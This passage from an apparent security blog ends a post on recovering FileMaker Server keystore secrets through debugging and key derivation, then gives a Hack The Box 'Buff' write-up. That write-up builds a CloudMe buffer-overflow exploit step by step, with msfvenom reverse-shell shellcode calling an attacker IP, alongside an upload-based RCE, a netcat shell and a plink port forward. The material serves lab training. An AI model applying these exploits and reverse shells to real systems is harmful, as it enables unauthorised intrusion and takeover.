 0x00007f3ef752b4cb <+11>: lea 0x20b2ae(%rip),%rax # 0x7f3ef7736780 <_ZZN5Draco18KeyStorageProvider11GetInstanceEvE8instance>
 0x00007f3ef752b4d2 <+18>: pop %rbx
=> 0x00007f3ef752b4d3 <+19>: retq

We have a test right at the beginning, meaning we likely return early, if the KeyStorageProvider has already been instantiated. However, once we’re in this function, we can also look at what’s in memory.

We can see that the previously discovered password a04d.. is already set here, so we might need to find where we initialize the provider for the first time (and thus where the password is being created).

As mentioned in the beginning of the article, I’ll brush over some details here to not make a “point-and-shoot” decryption script available, but leave this as an exercise for the reader.

What you have to look for is the initialization function for the KeyStorageProvider (which is executed during first start of the server) and another function that derives the password.

In it you will find that an MD5 context is built, which then gets fed the machine’s persistent ID and another secret (you know it when you see it). Eventually, a 16-byte MD5 checksum is created, which matches the password we saw earlier.

Having found this final part, we can now re-create the key and decrypt keystore values. The following Python script shows how you could do it in a program, leaving a few details out for the reasons mentioned above:

import hashlib
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Hash import SHA1


def decrypt(key, iv, ciphertext):
 decoded_ciphertext = base64.b64decode(ciphertext)

 cipher = AES.new(key, AES.MODE_CBC, iv=iv)
 plaintext = cipher.decrypt(decoded_ciphertext)

 return unpad(plaintext, 16)


def derive_key():
 secret = b'' # the full secret string discovered in the last part

 password = hashlib.md5(secret).digest()

 count = 997 # uid
 salt = 'fmserver' # username

 return PBKDF2(password, salt, 16, count=count, hmac_hash_module=SHA1)


def main():
 ciphertext = b'' # base64-encoded ciphertext from keystore

 key = derive_key()
 iv = 16 * b'\x00' # null IV

 plaintext = decrypt(key, iv, ciphertext)
 print(f'plaintext: {plaintext.decode()}')


if __name__ == '__main__':
 main()

How about macOS?

So far we’ve been working with a default Linux installation. To come to the same conclusion on macOS, you can use lldb instead of gdb.

To attach lldb to a running process, you will have to disable macOS’ System Integrity Protection or remove the code signature first, though.

The discovery process is more or less the same, although the syntax for lldb is a bit different.

After looking into it, I can tell you that the encryption/decryption process is the same, as is expected.

Naturally, on macOS the username and user id that go into the key derivation could be different. For a default installation the full name of the user is “fmserver User”. For the derivation this string is concatenated to the actual username “fmserver”.

You can find out the full user info with the following command (change fmserver for the username you run FMS under):

dscacheutil -q user | grep 'name: fmserver' -A6

How about Windows?

I only had a brief look at Windows. It seems that the encryption/decryption process works a bit different here.

I haven’t spent much time looking into this and wanted to write up my findings first. Maybe I’ll look into it in the future.

Conclusion

I hope this post was helpful to you learning how FileMaker Server handles the secrets you decide to store on the machine.

As we saw it’s not unfeasable to recover the plaintexts. While this is expected and “by design” as the server needs to do the same, you can now judge how easy or hard it is.

I reported some things that could be improved or might be a bug to Claris and hope the keystore will be improved as a result.

The decision for or against storing the EAR passwords really depends on your use-case. If uptime is very important and you need your databases to auto-open after a reboot, there’s no way around to storing them on disk (and I don’t think that’s an unreasonable decision – I have setups where I do the same).

You may also look into restricting access to the keystore file, i.e. remove permissions for other (it seems the only user/group accessing it should be, by default, fmserver and fmsadmin).

Generally, with enough time and patience you will (at least theoretically) always get to some of the data if you have root access to the live server and the databases are opened. Having the original EAR password stored and the keystore file readable by everyone just makes it much easier.

Updates:

2023-05-31: Corrected the macOS section to include that you can remove the code signature instead of disabling SIP. Thanks, Alex.

Hack the Box Write-up #10: Buff

Sat, 21 Nov 2020 00:00:00 +0000

This is a write-up of today’s retired Hack The Box machine Buff.

Buff was a fun 20 point box that included exploitation of a known vulnerability in a gym management web app and a classic buffer overflow for getting an administrator shell.

In my opinion doing this machine can also serve as a good practice if you plan on doing something like the OSCP or eCPPT certification and still need practice targets for the binary exploitation / buffer overflow part.

Recon and enumeration

We start by scanning the box with a fast nmap scan:

nmap -F 10.10.10.198

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-20 22:49 CET
Nmap scan report for 10.10.10.198
Host is up (0.099s latency).
Not shown: 99 filtered ports
PORT STATE SERVICE
8080/tcp open http-proxy

We run an additional full port scan (-p-) in the background and checkout the discovered port 8080 by browsing to it. We are greeted with some kind of fitness site:

Browsing through the pages, we find a note on /contact.php that says: “Made using Gym Management Software 1.0”.

Using this information, we run a searchsploit "gym man" to look for known vulnerabilities:

searchsploit "gym man"
------------------------------------------------------------------- ----------------------
 Exploit Title | Path
------------------------------------------------------------------- ----------------------
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
------------------------------------------------------------------- ----------------------

Exploiting Gym Management Software

Unauthenticated Remote Code Execution looks pretty good, so we’ll have a look at this one first (searchsploit -x 48506).

It essentially does a POST request to the upload.php page (which does not check for a valid session) to send a file while bypassing the check for allowed file types (images). It is supposed to directly give you a webshell, but I find it often easier to just pipe the requests through a proxy and then modify the request as I see fit.

So to let the requests go through Burp, we define a proxies dictionary and pass it to the two requests (using the Python requests module):

proxies = { 'http': 'http://127.0.0.1:8080' }
s.get(SERVER_URL, verify=False, proxies=proxies)
[...]

The diff for completeness:

81d80
< print header();
90c89,90
< s.get(SERVER_URL, verify=False)
---
> proxies = { 'http': 'http://127.0.0.1:8080' }
> s.get(SERVER_URL, verify=False, proxies=proxies)
102c102
< r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
---
> r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False, proxies=proxies)

Now we can start the Burp interception proxy and run python 48506_customized.py http://10.10.10.198:8080/. This will give us insight in the actual payload being used:

Now that we know what the script would do, we can just send the request to the repeater tab, drop the original one and kill the script.

In the repeater tab, we can make slight adjustments or just keep it as is – I change the file name for easier reference later on. When you do your own changes, make sure to keep the magic bytes intact:

After sending the request, we get code execution on the server by sending a GET to our previously uploaded webshell:

To get a proper shell, we can start an impacket smbserver and execute nc.exe directly from our attacker machine:

# launch smbserver
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py TMP $(pwd) -smb2support

# launch listener
nc -lvnp 80

Execute nc.exe:

Identifying CloudMe – The potential “Buff” target

Using our shell, we can start looking around in directories accessible to our user shaun.

In Downloads we find a hint to a potentially installed software:

C:\Users\shaun\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020 12:27 <DIR> .
14/07/2020 12:27 <DIR> ..
16/06/2020 15:26 17,830,824 CloudMe_1112.exe
 1 File(s) 17,830,824 bytes
 2 Dir(s) 7,753,715,712 bytes free

A quick check with tasklist confirms CloudMe.exe is running. Noting the PID, we can also cross-reference that it is listening on port 8888.

Searching for known vulnerabilities, we quickly find a couple of exploits using searchsploit cloudme. Let’s have a quick look at 48389.py.

It looks like a simple buffer overflow, so why not make our own one from scratch!?

Developing the Exploit

First, we need to get the binary to our machine. We can copy it using the smbserver from earlier:

C:\Users\shaun\Downloads>copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
 1 file(s) copied.

For good practice we can also compare the hash after transfer:

# on target
powershell.exe -c "Get-FileHash CloudMe_1112.exe"

# on attacker machine
shasum -a 256 CloudMe_1112.exe

Running the app locally

Since the target system is a Windows 10 box, we should install CloudMe on a similar VM.

If you want to follow along, make sure to also install Immunity Debugger and mona.py on the machine.

After installation, we can run the app and check again with netstat that it is listening on port 8888.

Since it is only listening on the loopback address, we’re setting up a portproxy on our local Windows VM to proxy 172.16.246.136:8888 (IP of my VM) to 127.0.0.1:8888.

netsh interface portproxy add v4tov4 listenport=8888 listenaddress=172.16.246.136 connectport=8888 connectaddress=127.0.0.1

Building a skeleton

The first thing we’re going to do is build a skeleton for our exploit. We will use Python and the built-in socket module for creating a TCP socket for our connection.

Something like this should do for now – a function to build the payload, and one to send it:

import socket

HOST, PORT = '172.16.246.136', 8888


def build(size):
 return b'A' * size


def send(payload):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(2)
 s.connect((HOST, PORT))
 s.send(payload)
 try:
 res = s.recv(1024)
 print('Recv: ', res)
 except socket.timeout:
 print("Boom!")


if __name__ == '__main__':
 payload = build(50)
 send(payload)

Make it crash

To observe how the application is behaving when it receives inputs, we can now attach it to Immunity Debugger:

We can now start to test out different payload sizes – either manually or by looping through a range of sizes until the program crashes.

It also makes sense to test out sizes that are larger than the minimum size required to make it crash, just to see how many of the bytes are actually coming through and end up at a usable memory region.

Let’s settle for a payload size of 2000 and keep it this way (changing the size while developing the exploit just introduces new variables and thus complicates things later on).

We can see that CloudMe is crashing and also identify that our payload of “A"s has overriden the return address and popped an invalid address into the EIP register. Moreover, we can see that the stack pointer (ESP) points to an address where more of our “A"s landed.

To identify the exact offset we need for overwriting the return address and confirm that ESP points to an address right below, we will now create a cyclic pattern of various 4-byte values and use those instead of our “A"s.

Identifying the offset

Right in Immunity Debugger, we can use mona.py’s pc (pattern create) function to generate a pattern of 2000 bytes:

!mona pc 2000
Creating cyclic pattern of 2000 bytes
[...]

The actual pattern will be written to the specified logfile.

We can then copy the ASCII version of the pattern and put it into our exploit script’s build function:

def build(size):
 pattern = b'Aa0Aa1Aa2...'
 return pattern

Restarting CloudMe and sending our new payload, we can see that we are now getting an access violation with a value of 316a4230 in EIP. To identify where these 4 bytes occur in our sent pattern, we can again use mona.py to find out:

!mona po 316a4230
[...]
 - Pattern 0Bj1 (0x316a4230) found in cyclic pattern at position 1052

So we now know that we must send 1052 bytes of junk before we overwrite the return address. Going back to the crashed application, we can also see that ESP contains an address located exactly after the 316a4230 value.

Let’s clean up our exploit script and add the information we gained. We are putting in “B"s for the “address” we want to place into the EIP and fill up the rest of our space with “C"s (just for easier visual reference in the debugger). As mentioned earlier, we also want to make sure that we keep our payload size the same as before.

def build(size, offset):
 junk = b'A' * offset
 eip = b'B' * 4
 shellcode = b'C' * (size - offset - len(eip))

 payload = junk + eip + shellcode
 assert len(payload) == size
 return payload

Adjusting our call to build to payload = build(2000, 1052) and running the exploit again, we now see the in the debugger that our “B"s (hex 42) cleanly popped into EIP and that ESP points right at the beginning of our “C"s (hex 43).

Finding a suitable JMP ESP

If we would find any instructions in the loaded modules that would directly or indirectly jump to ESP, we could use the address of the beginning of the instruction as our return address. Once EIP points to a JMP ESP instruction, we would essentially jump right back to the beginning of our “C"s. Requirement for all this is that we don’t have protection methods such as ASLR (Address Space Layout Randomization) in place.

To find such an address, we can utilize mona.py again.

First, we find available modules without ASLR:

!mona noaslr

This shows us a couple of modules. Let’s look into these for JMP ESP (or similar) instructions:

!mona jmp -r esp -m Qt5Core.dll

We find a couple of results – let’s choose the first CALL ESP:

0x68d652e1 : call esp | {PAGE_EXECUTE_READ} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll)

Let’s add the address of the instruction to our exploit script (note that we reverse the byte order for little-endian). Additionally, we add opcode \xcc (INT 3) where ESP will point so that the debugger will break when our “shellcode” is hit.

def build(size, offset):
 junk = b'A' * offset
 eip = b'\xe1\x52\xd6\x68' # 0x68d652e1
 shellcode = b'\xcc' * 4
 junk2 = b'C' * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload

Sending the payload again and observing the debugger, we can see that we’re again a little bit closer to controlling the program. The debugger paused as it hit our INT3 instruction.

Finding the “bad bytes”

Before we can create our actual shellcode, we need to find out if certain bytes would cause issues (commonly bytes that have a special meaning, like NULL for string termination, potentially carriage return / line feed for HTTP applications and so on).

An easy way to find out what bytes are causing issues is to literally send all possible byte values to the app and then look at the stack if something got garbled up. Let’s do this – again with the help of mona.py:

!mona bytearray -cpb '\x00'

(I’m excluding \x00 right from the beginning)

This will give us two files: bytarray.txt and bytarray.bin. The former we will use to copy paste into our exploit script, the latter for later comparision of what arrived on the stack.

Our exploit code can be adjusted like so:

def build(size, offset):
 junk = b'A' * offset
 eip = b'\xe1\x52\xd6\x68' # 0x68d652e1
 shellcode = b'\xcc' * 4
 shellcode += (b"\x01\x02\x03\x04\x05\x06..."
 b"\x21\x22\x23\x24\x25\x26...") # shortened for readability
 junk2 = b'C' * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload

Once the debugger goes into a paused state, we can look at the stack and note down the address where our byte array starts (04030201 and so on). Using this starting address, we can now compare all the bytes from that address with the bytearray.bin file created earlier.

!mona compare -f C:\ImmunityLogs\CloudMe\bytearray.bin -a 00a3d3d4

We get a nice message from mona.py that no corruption was found.

Knowing this, we can finally generate our final shellcode to exploit CloudMe on our own VM.

(If we would have seen corruption, we would have just removed the first corrupted byte from the byte array and sent it again – repeatedly until the sent byte array is unmodified.)

Generating the shellcode

For generating the shellcode we pick the easy route and let msfvenom do the hard work for us. Let’s generate a payload for getting a reverse shell and prevent the use of NULL bytes (don’t forget to update the IP to the one of your attacker machine).

msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b '\x00' -f py

The payload is 351 bytes in size, so it fits easily into the space we have available.

Let’s add the shellcode to our exploit and pad it with a few NOPs so that the automatically chosen encoder (x86/shikata_ga_nai) has enough room for unpacking our payload.

Our build function now looks like this:

def build(size, offset):
 junk = b'A' * offset
 eip = b'\xe1\x52\xd6\x68' # 0x68d652e1

 # msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b '\x00' -f py
 buf = b""
 buf += b"\xda\xd0\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x12\xab\x84"
 buf += b"\xb1\xb1\x52\x83\xe8\xfc\x31\x58\x13\x03\x4a\xb8\x66"
 buf += b"and so on..."

 shellcode = b'\x90' * 16 + buf
 junk2 = b'C' * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload

Exploiting our own box

Now it’s time to start a listener on our machine (nc -lvnp 80) and run the exploit one more time. If everything went well, we should get a shell from the target system back:

kali@kali:~ kali$ sudo nc -lvnp 80
listening on [any] 80 ...
connect to [172.16.246.133] from (UNKNOWN) [172.16.246.136] 49696
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe>

Hey, it worked! We successfully exploited the system. The only two things left are now to 1.) update the shellcode for a reverse shell to the IP of our tun0 interface from the Hack The Box VPN and 2.) Find a way to actually send the payload, as we don’t have administrator permissions on the target yet and can thus not do a portproxy like we did for our box.

After acknowledging the Windows dog which tells us that we have been pwned, we can shutdown our VM :-)

Updating the payload

Updating the payload is easy; just change the IP address of the msfvenom command and put the result back into the exploit script:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=80 -b '\x00' -f py

Setting up a remote forward

To reach the CloudMe service from our attacker machine, we can upload plink.exe to the target and then set up a remote port forward to our machine.

Since we are connecting from the target to our machine, it makes sense to use a low-privilege account and only allow port-forwarding to minimize the chance of getting owned ourselves :-)

We add the the public key and some options to the authorized_keys file of our low-priv user (in my case I call the user forwarder):

from="10.10.10.198",command="echo 'Please dont pwn me'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3Nz...==

Next, we launch the SSHd service on our machine (feel free to adjust the port number in /etc/ssh/sshd_config; I use 7777 for this example) and then copy the plink.exe and forwarder.ppk key file to the target:

copy \\10.10.14.28\TMP\plink.exe .
copy \\10.10.14.28\TMP\forwarder.ppk .

Then, to set up the forwarding:

.\plink.exe -ssh -l forwarder -i forwarder.ppk -v -N -P 7777 -R 8888:127.0.0.1:8888 10.10.14.28

A quick netstat -tlpn on our machine should confirm that sshd now also started listening on 127.0.0.1:8888 for our forward.

One thing left: we change the HOST variable in our exploit to 127.0.0.1, start a netcat listener nc -lvnp 80 and run the exploit again.

Now we are greeted with an administrator shell from the target system:

sudo nc -vlnp 80
listening on [any] 80 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.198] 49876
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator

I have posted the full exploit script for reference as a Gist.